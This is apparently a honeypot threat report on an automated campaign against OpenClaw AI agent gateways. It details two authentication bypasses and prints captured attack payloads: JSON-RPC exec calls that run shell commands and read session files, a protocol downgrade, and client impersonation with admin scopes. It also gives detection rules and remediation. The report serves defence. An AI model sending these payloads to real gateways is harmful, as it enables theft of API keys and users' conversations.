- Threat Intelligence
- AI Infrastructure Security
- Honeypot Research
Automated Exploitation Campaigns Targeting OpenClaw Gateway Infrastructure
Our honeypot captured a sophisticated, multi-phase attack campaign targeting exposed OpenClaw Gateways. This report details the attack methodology, exploited vulnerabilities, and actionable defenses.
Executive Summary
| Attribute | Detail |
|---|---|
| First Observed | 2026-02-01 19:08:53 UTC |
| Attack Origin | Portugal (185.180.141.19) |
| Attack Tool | gitmc-org-mcp-scanner, raw JSON-RPC commands |
| Primary Target | OpenClaw Gateway WebSocket API (port 18789) |
Bottom Line: Automated exploitation campaigns are actively targeting OpenClaw Gateway deployments. Attackers demonstrate accurate protocol knowledge, exploit authentication bypass vulnerabilities, and follow a systematic three-phase playbook to extract credentials and conversation history. Unpatched instances are at immediate risk.
1. Attack Overview
1.1 Background
OpenClaw is an AI agent gateway platform that exposes a WebSocket API on port 18789. Until recent patches, this API:
- Defaulted to no authentication when unconfigured
- Trusted all reverse-proxied connections as localhost
- Exposed sensitive configuration and chat history to authenticated clients
We deployed a Beelzebub honeypot mimicking an OpenClaw Gateway to observe attacker behavior. The first probes arrived within 45 minutes.
1.1.1 Beelzebub Configuration
We deployed a Beelzebub honeypot configured to mimic OpenClaw Gateway responses across all standard endpoints.
Emulated Endpoints:
| Endpoint | Purpose |
|---|---|
/, /ws | WebSocket handshake (101 upgrade) |
/mcp | MCP JSON-RPC endpoint |
/sse | Server-Sent Events transport |
/ui | Control UI interface |
/tools/invoke | Tool invocation (returns 401) |
/v1/chat/completions | OpenAI-compatible API |
/v1/responses | OpenResponses API |
/hooks/* | Webhook triggers |
/health, /status, /metrics | Service fingerprinting |
Configuration
apiVersion: "v1"
protocol: "http"
address: ":18789"
description: "OpenClaw Gateway decoy"
commands:
# --------------------------
# WebSocket handshake decoy
# --------------------------
# Note: Sec-WebSocket-Accept here is static (not computed from Sec-WebSocket-Key).
# This is enough to trick many scanners; strict WS clients may reject it.
- regex: "^/$"
headers:
- "Server: openclaw-gateway"
- "Connection: Upgrade"
- "Upgrade: websocket"
- "Sec-WebSocket-Version: 13"
- "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=" # dummy
- "Cache-Control: no-store"
statusCode: 101
handler: ""
- regex: "^/ws$"
headers:
- "Server: openclaw-gateway"
- "Connection: Upgrade"
- "Upgrade: websocket"
- "Sec-WebSocket-Version: 13"
- "Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=" # dummy
- "Cache-Control: no-store"
statusCode: 101
handler: ""
# --------------------------
# Control UI (HTTP fallback)
# --------------------------
- regex: "^/ui/?$"
headers:
- "Content-Type: text/html; charset=utf-8"
- "Server: openclaw-gateway"
- "Cache-Control: no-store"
statusCode: 200
handler: |
<!doctype html>
<html>
<head><meta charset="utf-8"><title>OpenClaw Gateway</title></head>
<body>
<h1>OpenClaw Gateway</h1>
<p>Control UI is enabled.</p>
<ul>
<li><code>/tools/invoke</code></li>
<li><code>/v1/chat/completions</code></li>
<li><code>/v1/responses</code></li>
<li><code>/hooks/*</code></li>
<li><code>WS:</code> <code>/</code> or <code>/ws</code></li>
</ul>
</body>
</html>
# --------------------------
# Basic probes
# --------------------------
- regex: "^/(health|status|metrics)$"
headers:
- "Content-Type: application/json"
- "Server: openclaw-gateway"
- "Cache-Control: no-store"
statusCode: 200
handler: |
{"ok":true,"service":"openclaw-gateway","version":"0.0.0","note":"decoy"}
# --------------------------
# Tools Invoke (POST /tools/invoke)
# Always enabled in real OpenClaw, but gated by auth/policy
# --------------------------
- regex: "^/tools/invoke$"
headers:
- "Content-Type: application/json"
- "Server: openclaw-gateway"
- 'WWW-Authenticate: Bearer realm="openclaw"'
- "Cache-Control: no-store"
statusCode: 401
handler: |
{"error":{"message":"Unauthorized","type":"auth_error","code":"invalid_api_key"}}
# --------------------------
# OpenAI-compatible (POST /v1/chat/completions) – often disabled by default
# --------------------------
- regex: "^/v1/chat/completions$"
headers:
- "Content-Type: application/json"
- "Server: openclaw-gateway"
- "Cache-Control: no-store"
statusCode: 404
handler: |
{"error":{"message":"Not Found (endpoint disabled)","type":"not_found","code":"endpoint_disabled"}}
# --------------------------
# OpenResponses-compatible (POST /v1/responses) – often disabled by default
# --------------------------
- regex: "^/v1/responses$"
headers:
- "Content-Type: application/json"
- "Server: openclaw-gateway"
- "Cache-Control: no-store"
statusCode: 404
handler: |
{"error":{"message":"Not Found (endpoint disabled)","type":"not_found","code":"endpoint_disabled"}}
# --------------------------
# Hooks (/hooks/wake, /hooks/agent, /hooks/<name>)
# --------------------------
- regex: "^/hooks/(wake|agent)$"
headers:
- "Content-Type: application/json"
- "Server: openclaw-gateway"
- 'WWW-Authenticate: Bearer realm="openclaw-hooks"'
- "Cache-Control: no-store"
statusCode: 401
handler: |
{"error":{"message":"Unauthorized hook","type":"auth_error","code":"invalid_hook_token"}}
- regex: "^/hooks/[^/]+$"
headers:
- "Content-Type: application/json"
- "Server: openclaw-gateway"
- 'WWW-Authenticate: Bearer realm="openclaw-hooks"'
- "Cache-Control: no-store"
statusCode: 401
handler: |
{"error":{"message":"Unauthorized hook mapping","type":"auth_error","code":"invalid_hook_token"}}
# --------------------------
# Canvas hint (redirect to canvas host)
# --------------------------
- regex: "^/__openclaw__/canvas/?$"
headers:
- "Location: http://127.0.0.1:18793/__openclaw__/canvas/"
- "Server: openclaw-gateway"
- "Cache-Control: no-store"
statusCode: 301
handler: ""
# --------------------------
# Catch-all with LLM
# --------------------------
- regex: "^.*$"
plugin: "LLMHoneypot"
For complete configuration, see Beelzebub API documentation.
1.2 Attacker Objectives
A successful compromise yields:
| Asset | Impact |
|---|---|
| API Keys | Anthropic, OpenAI credentials for LLM abuse |
| Gateway Credentials | Full administrative access |
| Channel Tokens | Telegram, Discord, Slack bot takeover |
| Conversation History | Complete user-AI interaction logs |
| Node Infrastructure Map | Lateral movement in multi-node deployments |
1.3 Key Findings
- Direct Protocol Attacks: Sending raw JSON-RPC commands for shell execution
- Protocol Downgrade Exploitation: Probes force
minProtocol: 1to target authentication weaknesses in pre-January 2026 releases - Accurate Protocol Knowledge: 100% of probed methods map to real OpenClaw handlers—this is not guesswork
- Systematic Enumeration: A three-phase playbook (reconnaissance → enumeration → exploitation) extracts maximum value
- Client Impersonation: Attackers spoof legitimate client identifiers (
openclaw-control-ui,moltbot-control-ui)
2. Vulnerability Analysis
2.1 Authentication Bypass (Patched January 2026)
Root Cause: Authentication defaulted to none when no token or password was configured.
// VULNERABLE CODE
const mode: ResolvedGatewayAuth["mode"] =
authConfig.mode ?? (password ? "password" : token ? "token" : "none");
// PATCHED CODE
const mode: ResolvedGatewayAuth["mode"] =
authConfig.mode ?? (password ? "password" : "token");
Impact: Full unauthenticated access to all gateway functions.
2.2 Reverse Proxy Trust Bypass (Patched January 2026)
Root Cause: Gateways behind nginx/Caddy/Traefik treated all proxied connections as trusted localhost.
// VULNERABLE CODE
const isLocalClient = isLocalGatewayAddress(clientIp);
// Problem: clientIp was the proxy's address (127.0.0.1), not the real client
// PATCHED CODE
const hasProxyHeaders = Boolean(forwardedFor || realIp);
const remoteIsTrustedProxy = isTrustedProxyAddress(remoteAddr, trustedProxies);
const hasUntrustedProxyHeaders = hasProxyHeaders && !remoteIsTrustedProxy;
const isLocalClient =
!hasUntrustedProxyHeaders && isLocalGatewayAddress(clientIp);
Impact: Any external connection routed through an unconfigured reverse proxy bypasses authentication.
3. Attack Methodology
3.1 Three-Phase Attack Playbook
| Phase | Methods | Objective |
|---|---|---|
| 1. Reconnaissance | health, system-presence, ping, version | Confirm target, fingerprint version |
| 2. Enumeration | agents.list, sessions.list, models.list, node.list, device.pair.list | Inventory assets, assess value |
| 3. Exploitation | config.get, chat.history, tool (exec) | Extract credentials, read data, execute commands |
3.2 Attack Techniques
Direct Command Execution
Raw JSON-RPC for shell access:
{"id": 1, "method": "tool", "params": {"args": {"command": "whoami"}, "name": "exec"}, "jsonrpc": "2.0"}
{"id": 4, "method": "tool", "params": {"args": {"command": "cat ~/.openclaw/agents/*/sessions/*.jsonl"}, "name": "exec"}, "jsonrpc": "2.0"}
Protocol Downgrade
Forcing older protocol versions to exploit patched vulnerabilities:
{
"id": 1,
"type": "req",
"method": "connect",
"params": {
"client": {
"id": "cli-client",
"mode": "interactive",
"version": "1.0.0",
"platform": "linux"
},
"maxProtocol": 1,
"minProtocol": 1
}
}
Client Impersonation
Spoofing legitimate control UI clients to blend with normal traffic:
{
"params": {
"role": "operator",
"client": {
"id": "openclaw-control-ui",
"mode": "webchat",
"version": "dev"
},
"scopes": ["operator.admin", "operator.approvals", "operator.pairing"]
}
}
3.3 Probed Methods vs. Real Handlers
Every probed method has a corresponding handler in OpenClaw source:
| Probed Method | Handler Location | Exposure Risk |
|---|---|---|
node.list | src/gateway/server-methods/nodes.ts:223 | Infrastructure mapping |
chat.history | src/gateway/server-methods/chat.ts:184 | Full conversation exfiltration |
device.pair.list | src/gateway/server-methods/devices.ts:33 | Device enumeration |
channels.status | src/gateway/server-methods/channels.ts:70 | Channel credential exposure |
config.schema | src/gateway/server-methods/config.ts:101 | Configuration structure |
config.get | src/gateway/server-methods/config.ts:* | API keys, tokens (plaintext) |
4. Technical Evidence
4.1 Attack Timeline
All times UTC on February 1, 2026.
| Time | Phase | Activity |
|---|---|---|
| 19:08:53 | Recon | Initial WebSocket probe (GET /) |
| 19:08:54 | Recon | MCP initialization via gitmc-org-mcp-scanner |
| 19:08:54 | Recon | SSE endpoint probe (/sse) |
| 19:08:56 | Exploit | Direct command execution attempts (whoami, file reads) |
| 19:08:57 | Exploit | Protocol downgrade attempt (minProtocol: 1) |
| 19:08:58 | Exploit | Client impersonation (moltbot-control-ui) |
| 19:08:59 | Enum | Systematic method enumeration (9-request sequence) |
| 19:09:00 | Recon | Generic API discovery (ping, echo, version, etc.) |
| 19:09:01 | Exploit | Alternative frame type probing |
| 19:09:02 | Exploit | Malformed JSON/parser fuzzing |
Total attack duration: ~9 seconds for complete reconnaissance-to-exploitation cycle.
4.2 Scanner Identification
{
"clientInfo": {
"name": "gitmc-org-mcp-scanner",
"version": "1.0.0"
},
"protocolVersion": "2025-06-18",
"capabilities": {
"sampling": {},
"elicitation": {},
"roots": { "listChanged": true }
}
}
4.3 Full Enumeration Sequence
Captured from a single WebSocket session:
{"id": "req-1", "type": "req", "method": "connect", "params": {...}}
{"id": "req-2", "type": "req", "method": "health", "params": {}}
{"id": "req-3", "type": "req", "method": "system-presence", "params": {}}
{"id": "req-4", "type": "req", "method": "agents.list", "params": {}}
{"id": "req-5", "type": "req", "method": "sessions.list", "params": {}}
{"id": "req-6", "type": "req", "method": "config.get", "params": {}}
{"id": "req-7", "type": "req", "method": "models.list", "params": {}}
{"id": "req-8", "type": "req", "method": "skills.status", "params": {}}
{"id": "req-9", "type": "req", "method": "cron.list", "params": {}}
4.4 Version Targeting Evidence
| Probe Characteristic | Target Version |
|---|---|
minProtocol: 1, maxProtocol: 1 | Pre-January 2026 (no device identity) |
minProtocol: 3, maxProtocol: 3 | Current releases |
role: "operator" without device block | Older releases |
role: "user" with webchat mode | Testing privilege bypass |
5. Indicators of Compromise
5.1 Network IOCs
IP Addresses:
- 185.180.141.19 # Portugal, Lisbon metropolitan area
User-Agent Patterns:
- python-httpx/*
- Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
Ports:
- 18789/tcp (OpenClaw Gateway default)
5.2 Request Signatures
# MCP Scanner Initialization
- method: POST
path: /mcp
body_contains: '"method":"initialize"'
body_contains: 'mcp-scanner'
# Direct Command Execution
- method: POST
body_contains: '"method":"tool"'
body_contains: '"name":"exec"'
# Protocol Downgrade
- body_contains: '"minProtocol": 1'
- body_contains: '"maxProtocol": 1'
# Client Impersonation
- body_contains: '"id":"moltbot-control-ui"'
- body_contains: '"id":"openclaw-control-ui"'
# Credential Extraction
- body_contains: '"method":"config.get"'
- body_contains: '"method":"chat.history"'
# Infrastructure Enumeration
- body_contains: '"method":"node.list"'
- body_contains: '"method":"agents.list"'
- body_contains: '"method":"sessions.list"'
6. Detection & Hunting
6.1 Sigma Detection Rule
title: OpenClaw Gateway Exploitation Attempt
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: experimental
description: Detects MCP protocol scanning and exploitation attempts targeting OpenClaw AI agent infrastructure
author: Beelzebub Security Lab
date: 2026/02/01
references:
- https://github.com/mariocandela/beelzebub
- https://openclaw.ai/
logsource:
category: webserver
product: any
detection:
# Phase 1: Scanner Initialization
scanner_init:
cs-method: POST
cs-uri-stem|contains: "/mcp"
request_body|contains|all:
- '"method":"initialize"'
- "mcp-scanner"
# Phase 2: Direct Exploitation
tool_execution:
request_body|contains|all:
- '"method":"tool"'
- '"name":"exec"'
credential_extraction:
request_body|contains:
- '"method":"config.get"'
protocol_downgrade:
request_body|contains|all:
- '"minProtocol"'
- ": 1"
# Phase 3: Enumeration
infrastructure_enum:
request_body|contains:
- '"method":"node.list"'
- '"method":"agents.list"'
- '"method":"sessions.list"'
- '"method":"chat.history"'
# Client Impersonation
client_spoof:
request_body|contains:
- "moltbot-control-ui"
- "openclaw-control-ui"
condition: scanner_init or tool_execution or credential_extraction or protocol_downgrade or infrastructure_enum or client_spoof
falsepositives:
- Legitimate MCP client initialization from known internal IPs
- Authorized security testing
level: high
tags:
- attack.reconnaissance
- attack.t1595
- attack.t1046
- attack.credential_access
- attack.t1552
6.2 Hunting Queries
Splunk:
index=webserver sourcetype=access_combined
| search (uri_path="/mcp" OR uri_path="/ws" OR uri_path="/sse")
| where match(request_body, "(?i)(config\.get|chat\.history|node\.list|method.*tool.*exec)")
| stats count by src_ip, uri_path, request_body
| where count > 3
Elastic/KQL:
http.request.body.content: (*"method":"config.get"* OR *"method":"chat.history"* OR *"method":"node.list"* OR *"name":"exec"*)
AND url.path: ("/mcp" OR "/ws" OR "/sse")
7. Remediation Guidance
| Priority | Action | Command/Config |
|---|---|---|
| P0 | Update OpenClaw | Versions before January 26, 2026 are vulnerable |
| P0 | Verify authentication | openclaw config get gateway.auth |
| P0 | Block exposed ports | Firewall port 18789 from public access |
7.1 Network Architecture
DO NOT expose the OpenClaw gateway directly to the internet.
Recommended access patterns:
- Local development: Bind to localhost only
- Remote access: Tailscale Serve or VPN with IP allowlisting
- Production: Private network with authenticated API gateway
7.2 Credential Rotation
If you suspect compromise, rotate immediately:
- Anthropic API keys
- OpenAI API keys
- Gateway authentication tokens
- Channel tokens (Telegram, Discord, Slack)
- Any credentials stored in OpenClaw config
7.3 Monitoring Implementation
Deploy detection rules from Section 6 and monitor for:
- POST requests to
/mcp,/ws,/sse - JSON-RPC
toolmethod withexecname config.getandchat.historyrequests- Protocol downgrade attempts (
minProtocol: 1) - Spoofed client identifiers
8. Framework Mapping
| Observed Behavior | MITRE ATT&CK | MITRE ATLAS | OWASP API 2023 | OWASP Agentic 2026 |
|---|---|---|---|---|
| Protocol enumeration | T1595 Active Scanning | AML.T0006 Active Scanning | API9 Improper Inventory | — |
| Service fingerprinting | T1046 Network Service Discovery | — | — | — |
| AI endpoint probing | T1595 Active Scanning | AML.T0040 AI Model Inference API | — | — |
| Tool invocation/RCE | — | AML.T0053 AI Agent Tool Invocation | — | ASI02 Tool Misuse |
| System discovery | T1082 System Info Discovery | AML.T0050 Command Interpreter | — | — |
| Config discovery | — | AML.T0084 Discover AI Agent Config | — | — |
| Credential theft | — | AML.T0083 Creds from AI Agent Config | API5 Broken Function Auth | ASI03 Privilege Abuse |
| Client impersonation | T1078 Valid Accounts | AML.T0074 Masquerading | API2 Broken Authentication | ASI03 Privilege Abuse |
| Parser fuzzing | — | — | API8 Security Misconfiguration | — |
The Beelzebub team is dedicated to making the internet a better and safer place ❤️